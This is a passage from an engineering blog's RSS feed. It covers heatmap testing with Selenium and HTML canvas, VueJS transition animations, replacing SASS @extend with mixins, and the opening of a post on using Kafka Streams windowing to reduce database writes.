href="https://en.wikipedia.org/wiki/Canvas_element">HTML Canvas</a>. As VWO heatmaps are rendered on HTML canvas, we decided to leverage that to verify Heatmap E2E as well. The best part of using Canvas is that, it can be integrated easily with your existing Selenium scripts. <h2 id="how-can-canvas-be-used-for-heatmap-automation" style="position:relative;"><a href="#how-can-canvas-be-used-for-heatmap-automation" aria-label="how can canvas be used for heatmap automation permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>How can Canvas be used for Heatmap Automation?</h2> There are two phases in order to verify if the heatmaps are working or not. <ol> <li> The first phase is to plot clicks on the test page and store the clicks co-ordinates. This can be easily done using Selenium. <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">//get elements location from the top of DOM element.getLocation().then(function (location) { //get elements height and width element.getSize().then(function (size) { //store element’s center coordinates w.r.t. top left corner of DOM in array clickDataArray.push(new Coordinates(Math.floor(location.x + size.width / 2), Math.floor(location.y + size.height / 2))); }); }); </code></pre></div> In this function, we are simply finding the center coordinates of an element where we have clicked and storing it in to an array. These stored coordinates would be further used to check if the clicks are plotted using the canvas functions or not. </li> <li> The second phase is to leverage canvas functions and the co-ordinate data stored in order to verify if heatmaps are plotted correctly. We simply check if heatmap canvas is empty and if it is empty, we would not check further. <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">exports.isCanvasEmpty = function () { browser.wait(EC.presenceOf(element(by.tagName('canvas'))), 5000); return browser.executeScript(function () { var canvas = document.getElementsByTagName('canvas')[0]; var imgWidth = canvas.width || canvas.naturalWidth; var imgHeight = canvas.height || canvas.naturalHeight; // true if all pixels Alpha equals to zero var ctx = canvas.getContext('2d'); var imageData = ctx.getImageData(0, 0, imgWidth, imgHeight); //alpha channel is the 4th value in the imageData.data array that’s why we are incrementing it by 4 for (var i = 0; i &lt; imageData.data.length; i += 4) { if (imageData.data[i + 3] !== 0) { return false; } } return true; }); }:</code></pre></div> </li> </ol> In this function, we are getting the 2d context of the canvas and then we are iterating over the <a href="https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/getImageData">image data</a> to check if <a href="https://en.wikipedia.org/wiki/Alpha_compositing">alpha channel</a> of all pixel points is greater than zero. Alpha channel is an 8-bit layer in a graphics file format that is used for expressing translucency (transparency), which in turn means that if the value of alpha channel of a pixel is equal to zero, nothing is plotted over that pixel. If for any pixel the value of alpha channel is greater than zero, this tells us that the canvas is not empty which indeed means clicks are plotted onto the heatmap. Once we are sure that the canvas is not empty, we can proceed further to check that the clicks are plotted on the canvas at the correct position i.e exactly where we clicked using selenium. <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">exports.checkCanvasPlotting = function (coordinates) { 'use strict'; browser.wait(EC.presenceOf(element(by.tagName('canvas'))), 5000); return browser.executeScript( function () { var coord = arguments[0]; var canvas = document.getElementsByTagName('canvas')[0]; // true if all pixels Alpha equals to zero var ctx = canvas.getContext('2d'); if (ctx.getImageData(coord.x, coord.y, 1, 1).data[3] === 0) { return false; } return true; }, coordinates); };</code></pre></div> In this function, we are using the same canvas function to get the imageData and then checking that for all the coordinates where clicks were plotted the value of alpha channel is greater than zero. The above function can be easily called as below: <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">exports.validateHeatmapPlotting = function (coordinateArray) { 'use strict'; for (var i = 0; i &lt; coordinateArray.length; i++) { expect(canvasUtils.checkCanvasPlotting(coordinateArray[i])).toBe(true); } };</code></pre></div> <h2 id="conclusion" style="position:relative;"><a href="#conclusion" aria-label="conclusion permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Conclusion</h2> <ul> <li>Canvas utility functions and selenium can be easily leveraged in order to verify basic heatmap functionality using automation.</li> <li>These can be easily extended in order to verify number of clicks on element and also to verify plotting intensity.</li> </ul> Hope this post was a good enough reference to help you write end-to-end automation script for heatmap testing. If you have any questions about this, let us know via comments.</content:encoded><author>Sahil Goyal</author></item><item><title><![CDATA[Animations in VueJS]]></title><description><![CDATA[This article is inspired from Animating Vue JS by Sarah Drasner at JS Channel 2017. Problem Statement - Why Animation? Website UI…]]></description><link>https://engineering.wingify.com//posts/animations-in-vue-js/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/animations-in-vue-js/</guid><pubDate>Tue, 12 Dec 2017 00:00:00 GMT</pubDate><content:encoded>This article is inspired from <a href="http://slides.com/sdrasner/animating-vue-keynote">Animating Vue JS by Sarah Drasner</a> at <a href="http://2017.jschannel.com/">JS Channel 2017</a>. <h3 id="problem-statement---why-animation" style="position:relative;"><a href="#problem-statement---why-animation" aria-label="problem statement why animation permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Problem Statement - Why Animation?</h3> Website UI Development is not about making things beautiful. It’s all about website performance and customer experience. According to studies from Amazon and Walmart, they discovered a drop of conversion rate/revenue on increasing the user interaction time as the user feels interrupted during the interaction. Another study discovered that a customised animated loader made a higher wait time and lower abandon rate compared to generic one as the user felt more interactive with the former loader. In a nutshell, the animation of your application should be more interactive and engaging for the user, kind of like a cinema booking application and a form inside a location tag for example. <h3 id="what-is-vuejs" style="position:relative;"><a href="#what-is-vuejs" aria-label="what is vuejs permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>What is VueJS?</h3> For those who are familiar with Angular and ReactJS, VueJS is a progressive JavaScript framework that supports some features: <ul> <li>A virtual DOM</li> <li>Declarative Rendering</li> <li>Computed properties</li> <li>Reactive components</li> <li>Conditional rendering … to name a few</li> </ul> Some of these features are quite similar to what Angular and ReactJS already provide. However, you can check <a href="https://vuejs.org/v2/guide/comparison.html">its comparison with other frameworks</a>. <h3 id="todo-list-example" style="position:relative;"><a href="#todo-list-example" aria-label="todo list example permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Todo List Example</h3> Let’s take a simple example of Todo list, containing a list of tasks with the functionality of adding/removing a task to/from the list. This will be our view in HTML file, assuming that you’ve included VueJS in a <code class="language-text">script</code> tag already. <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html">&lt;div id="app"> &lt;input type="text" v-model="task"/> &lt;input type="button" value="Add" v-on:click="addTaskToList"/> &lt;ul> &lt;li v-for="(todo, index) in todoList"> {% raw %}{{ todo }}{% endraw %} &lt;input type="button" value="Remove" v-on:click="removeTaskFromList(index)"/> &lt;/li> &lt;/ul> &lt;/div></code></pre></div> Meanwhile, our JS file looks like this. <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">var app = new Vue({ el: '#app', data: { task: 'my first task', todoList : [] }, methods : { addTaskToList : function(){ this.todoList.push(this.task); }, removeTaskFromList : function(index){ this.todoList.splice(index, 1); } } });</code></pre></div> The code itself is self-explanatory. It simply adds a <code class="language-text">task</code> inside the <code class="language-text">todoList</code> using <code class="language-text">addTaskToList</code> method and removes from the list using <code class="language-text">removeTaskFromList</code>. The event binding and loops syntax in the HTML looks similar to what you see in AngularJS. However, the syntax of variables and methods is different in VueJS, which reminds you of private variables and public methods you used to code in C++. You can view the <a href="https://codepen.io/AshBardhan/pen/XzLxbE">demo</a>. Let’s add more interaction in this. A confirmation pop-up should appear with <code class="language-text">OK</code> and <code class="language-text">Cancel</code> options. Regardless of the option chosen, the pop-up should be closed later on. In HTML, let’s modify the list element <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html">&lt;li v-for="(todo, index) in todoList"> {% raw %}{{ todo }}{% endraw %} &lt;input type="button" value="Remove" v-on:click="onRemoveTask(index)"/> &lt;/li></code></pre></div> And add a new pop-up element <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html">&lt;div v-show="isPopupOpen"> Are you sure you want to remove this from Todo List?&lt;br/> &lt;input type="button" value="OK" v-on:click="confirmRemove()"/> &lt;input type="button" value="Cancel" v-on:click="cancelRemove()"/> &lt;/div></code></pre></div> Meanwhile in JS, initialize new data variables inside <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">data: { isPopupOpen : false, currentIndex: -1 }</code></pre></div> And also, add some methods <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">methods : { onRemoveTask : function(index) { this.isPopupOpen = true; this.currentIndex = index; }, confirmRemove : function() { this.removeTaskFromList(this.currentIndex); this.isPopupOpen = false; }, cancelRemove : function() { this.isPopupOpen = false; } }</code></pre></div> Let’s add some animation into it. For the fading-in/out the pop-up, you need to wrap our pop-up inside <code class="language-text">transition</code> tag. <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html">&lt;transition name="fade"> &lt;div v-show="isPopupOpen"> … Pop-up element content &lt;/div> &lt;/transition></code></pre></div> This element takes care of the transition logic. You don’t need to bother when to start or stop transition. All you’ve to mention is what kind of transition you want to see and for how long. This can be done using some CSS classes provided by VueJS. <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css">.fade-enter-active, .fade-leave-active { transition: opacity 0.5s ease-out; } .fade-enter, .fade-leave-to { opacity: 0; }</code></pre></div> Note: The <code class="language-text">fade</code> prefix used in this class should match the <code class="language-text">name</code> attribute of the <code class="language-text">transition</code> component. For blurring the form and the list elements once the pop-up appears, they should be wrapped inside a contained conditionally bounded using <code class="language-text">v-bind</code> attribute. <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html">&lt;div v-bind:class="[isPopupOpen ? 'disabled' : '', ‘container’]"> … Form and Todo List element content &lt;/div></code></pre></div> And add the required CSS <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css">.container { transition: all 0.05s ease-out; } .disabled { filter: blur(2px); opacity: 0.4; pointer-events: none; // This makes sure that nothing else is clicked other than pop-up options }</code></pre></div> You can check the complete code and view <a href="https://codepen.io/AshBardhan/pen/zPVmvj">demo</a>. <h3 id="advantages" style="position:relative;"><a href="#advantages" aria-label="advantages permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Advantages</h3> <ul> <li>Clean </li> <li>Semantic</li> <li>Maintainable</li> </ul> This is how you can create applications and make animations in more simpler and semantic way. However, you must have intermediate knowledge of HTML, CSS and JavaScript. If you think VueJS is promising, go ahead and try it out. There is much more that you will love to learn about. Check out the <a href="https://vuejs.org/v2/guide/">official documentation</a>.</content:encoded><author>Ashish Bardhan</author></item><item><title><![CDATA[Why we've removed Inheritance/Extend from SASS & you should do the same!]]></title><description><![CDATA[SASS is a preprocessor that provides features like variables, nesting, mixins, inheritance and other nifty goodies and makes CSS clean and…]]></description><link>https://engineering.wingify.com//posts/sass-inheritance-removal/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/sass-inheritance-removal/</guid><pubDate>Thu, 30 Nov 2017 00:00:00 GMT</pubDate><content:encoded>SASS is a preprocessor that provides features like variables, nesting, mixins, inheritance and other nifty goodies and makes CSS clean and easy to maintain. The <a href="http://sass-lang.com/guide#topic-7">@extend</a> directive in SASS allows us to easily share styles between selectors. But its usage can have adverse effects when used with bigger projects. Lets see how. In <a href="https://app.vwo.com">VWO’s</a> SASS code, we have more than 50 files. The need of inheritance removal came when the code started to become unpredictable and difficult to debug. Difficulty in debugging made us override the CSS as and when new requirement came; otherwise it requires a lot of time to understand existing code of inheritance before starting, so that any new rule addition does not break the existing CSS. That’s how the need of @extend removal came. Here are the reasons why we discarded @extend. <h2 id="high-maintainability" style="position:relative;"><a href="#high-maintainability" aria-label="high maintainability permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>High maintainability</h2> <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css">.title { text-transform: uppercase; font-size: 11px; } label { @extend .title; font-size: 13px; }</code></pre></div> …and in the end of the file somewhere adding, <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css">.title { font-size: 12px; }</code></pre></div> If this file is opened and looked up for the <code class="language-text">label</code> rules, one would expect it to be of 13px but in reality, it will be of 12px. <code class="language-text">&lt;label&gt;I will always be 12px&lt;/label&gt;</code> This is because on compilation the result looks like this: <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css">.title , label { text-transform: uppercase; } label { font-size: 13px; } .title , label { font-size: 12px; }</code></pre></div> <code class="language-text">label</code> shares the rules at the last definition of <code class="language-text">.title</code>. If someone tries to override title and is not aware of the fact that it has been extended in some other class, the person might end up adding some wrong rules unintentionally. <h2 id="difficult-debugging" style="position:relative;"><a href="#difficult-debugging" aria-label="difficult debugging permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Difficult debugging</h2> It becomes difficult to debug if the project’s CSS is large because you need to keep track of every extended class. If we consider the above example of <code class="language-text">label</code> and <code class="language-text">.title</code>, looking at the CSS in browser, it will be difficult for us to figure out the reason of font-size being 12px for <code class="language-text">label</code>. It requires a lot of time of debug such code, especially if you have multiple SASS files. <h2 id="increased-file-size" style="position:relative;"><a href="#increased-file-size" aria-label="increased file size permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Increased file size</h2> After we removed @extend from all our sass files, size got reduced from 164KB => 154KB <h2 id="distributed-code" style="position:relative;"><a href="#distributed-code" aria-label="distributed code permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Distributed Code</h2> The code for one class should be contained at one place rather than distributed at many places. Classes or Placeholders extended in virtue of maintaining the code actually make it untidy and difficult to understand in case of multiple CSS files or long CSS code. Here’s an example: <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css">.font--13 { font-size: 13px; } .tile { display: inline-block; border: 1px solid; @extend .font--13; } %size--200 { width: 200px; height: 200px; } .tile--200 { @extend .tile; @extend %size--200; font-size: 14px; } .circle--200 { @extend %size--200; }</code></pre></div> Generated Code: <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css">.font--13, .tile, .tile--200 { font-size: 13px; } .tile, .tile--200 { display: inline-block; border: 1px solid; } .tile--200, .circle--200 { width: 200px; height: 200px; } .tile--200 { font-size: 14px; }</code></pre></div> The generated code is highly unreadable and not at all lucid. This particular code has rules staggered at 4 places just for class .tile--200. <h2 id="solution-to-extend" style="position:relative;"><a href="#solution-to-extend" aria-label="solution to extend permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Solution to @extend</h2> We solved these problems with the help of <a href="http://sass-lang.com/guide#topic-6">mixins</a> or directly writing the rule if it’s a one liner. For e.g. in above example: SASS would be <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css">.font--13 { font-size: 13px; } @mixin tile { display: inline-block; border: 1px solid; font-size: 13px; } .tile { @include tile; } @mixin size--200 { width: 200px; height: 200px; } .tile--200 { @include tile; @include size--200; font-size: 14px; } .circle--200 { @include size--200; }</code></pre></div> Generated CSS code will be: <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css">.font--13 { font-size: 13px; } .tile { display: inline-block; border: 1px solid; font-size: 13px; } .tile--200 { display: inline-block; border: 1px solid; font-size: 13px; width: 200px; height: 200px; font-size: 14px; } .circle--200 { width: 200px; height: 200px; }</code></pre></div> This code has rules for every class maintained at just one place making it easier to understand and lucid which results in easy debugging and requires low maintenance. All these reasons forced us to remove @extend from our SASS and hence our code and coders lived happily ever after! Cheers!</content:encoded><author>Chhavi Khandelwal</author></item><item><title><![CDATA[Leveraging Kafka Streams to reduce DB Hits]]></title><description><![CDATA[I have been working with Apache Kafka for more than 4 years now and have seen it evolve from a basic distributed commit log service…]]></description><link>https://engineering.wingify.com//posts/leveraging-kafka-streams-to-reduce-db-hits/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/leveraging-kafka-streams-to-reduce-db-hits/</guid><pubDate>Thu, 26 Oct 2017 00:00:00 GMT</pubDate><content:encoded>I have been working with <a href="https://kafka.apache.org/" title="** Apache Kafka**">Apache Kafka</a> for more than 4 years now and have seen it evolve from a basic distributed commit log service (Something very similar to Transaction log or Operation log) to a full fledged tool for data pipelining and become the backbone of data collection platforms. For those who don’t know about Kafka, it was developed by LinkedIn, and was open sourced in early 2011. It is a distributed pub-sub messaging system that is designed to be fast, scalable and durable. Like other pub-sub messaging systems, Kafka maintains stream(s) of messages in topic(s). Producers are special processors that write data to Topics while, Consumers read from topics, to store data to extract some meaningful information that might be required at a later stage. Since Kafka is a distributed system, topics are partitioned and replicated across multiple nodes. Kafka lets you store streams of messages in a fault-tolerant way and allows processing these streams in near realtime. Apache Kafka has gone through various design changes since its inception, Kafka 0.9 came out with support of High Level Consumer API, which helped in removing dependency of <a href="http://zookeeper.apache.org/">Apache Zookeeper</a>. It is now only used to manage metadata of topics created in Kafka. Also, in case some Kafka node goes down or rebalance is triggered due to addition of new nodes, Zookeeper runs the leader election algorithm in a fair and consistent manner. For versions less than 0.9 Apache Zookeeper was also used for managing the offsets of the consumer group. Offset management is the mechanism, which tracks the number of records that have been consumed from a partition of a topic for a particular consumer group. Kafka 0.10 came out with out of the box support for Stream Processing. This streaming platform enables capturing flow of events and changes caused by these events, and store these to other data systems such as RDBMS, key-value stores, or some warehouse depending upon use case. I was really happy and took it for a run by doing some counting aggregations. The aggregation was fast and I hardly had to write 50 lines for it. I was very happy and impressed with results. I streamed around 2 million events in around a minute on my laptop with couple of instances only. But I never got a chance to use it in production for a year or so. Around 3 months back when our team started stress testing backend stores by generating a lot of data, our backend stores started to give up due to the high number of insertion and updates. We didn’t have the choice to add more hardware as we were already using a lot of resources and wanted a solution that fits our current bill. Our data team had lot of discussions and I heard a lot of people talk about things like <a href="http://samza.apache.org/" title="Apache Samza">Apache Samza</a>, <a href="https://spark.apache.org/" title="***Apache Spark***">Apache Spark</a>, <a href="https://flink.apache.org/" title="***Apache Flink***">Apache Flink</a> etc. Because, we have a small team, adding another component in technology stack was not a good idea and I didn’t want team to spend time learning about these technologies with product release around the corner. Since our data pipeline is built around Kafka, I started playing around with data. The idea was to convert multiple updates to the backend stores into a single update/insert to ensure that number of hits that our DB is taking is reduced. Since we process a lot of data, we thought about windowing our events based on time and aggregating them. I started to work on it and in matter of hours my streaming application was ready. We started with 1 minute window and we were surprised with the result. We were able to reduce DB hits by 70%. YES 70 PERCENT!!!!!! Here are the screenshots from one of our servers that show the impact of window aggregation. <div style="text-align:center; margin: 10px;"> <img src="/images/2017/10/kafka-streams-before-aggregation.png" style="box-shadow: 2px 2px 10px 1px #aaa"> <div style="margin: 10px;">Before Aggregation</div> </div> <div style="text-align:center; margin: 10px;"> <img src="/images/2017/10/kafka-streams-after-aggregation.png" style="box-shadow: 2px 2px 10px 1px #aaa"> <div style="margin: 10px;">After Aggregation</div> </div> With streaming capabilities built into it, Apache Kafka has become one of the most powerful tool that allows you to store and aggregate data at insane speed. And we’ll see a gain in its adoption in coming years. <h3 id="lets-see-how-kafka-streams-work" style="position:relative;"><a href="#lets-see-how-kafka-streams-work" aria-label="lets see how kafka streams work permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Let’s see how Kafka Streams work</h3> Kafka Streams allows us to perform stream processing, hence requires some sort of internal state management. This internal state is managed in state stores which uses RocksDB. A state store can be lost on failure or fault-tolerant restored after the failure. The default implementation used by Kafka Streams DSL is a fault-tolerant state store using <ul> <li>An internally created and compacted changelog topic (for fault-tolerance)</li> <li>One (or multiple) RocksDB instances (for cached key-value lookups). Thus, in case of starting/stopping applications and rewinding/reprocessing, this internal data needs to get managed correctly.</li> </ul> <h4 id="kstream-and-ktable" style="position:relative;"><a href="#kstream-and-ktable" aria-label="kstream and ktable permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>KStream and KTable</h4> KStream is an abstraction of a record stream of Key-Value pairs. So if you have a click stream coming in, and you are trying to aggregate session level information, the key will be session id and the other information will be the value. Similarly for URL level aggregation, a combination of URL and session will be the key. KTable is an abstraction of a changelog stream from a primary-keyed table. Each record in this stream is an update on the primary-keyed table with the record key as the primary key. The aggregation results are stored in KTable. Intermediate aggregation uses a RocksDB instance as key-value state store that also persists to local disk. Flushing to disk happens asynchronously to keep it fast and non blocking. An internal compacted changelog topic is also created. The state store sends changes to the changelog topic in a batch, either when a default batch size has been reached or when the commit interval is reached. A pictorial representation of what happens under the hood is given below <div style="text-align:center; margin: 10px;"> <img src="/images/2017/10/kafka-streams-internal-functioning.png"> <div style="margin: 10px;"> Kafka Streams Internal Functioning *Image is taken from Apache Kafka documentation </div> </div> Kafka Streams commit the current processing progress in regular intervals. If a commit is triggered, all state stores need to flush data to disc, i.e., all internal topics needs to get flushed to Kafka. Finally, all current topic offsets are committed to Kafka. In case of failure and restart, the application can resume processing from its last commit point. <h3 id="lets-understand-this-with-help-of-an-example" style="position:relative;"><a href="#lets-understand-this-with-help-of-an-example" aria-label="lets understand this with help of an example permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 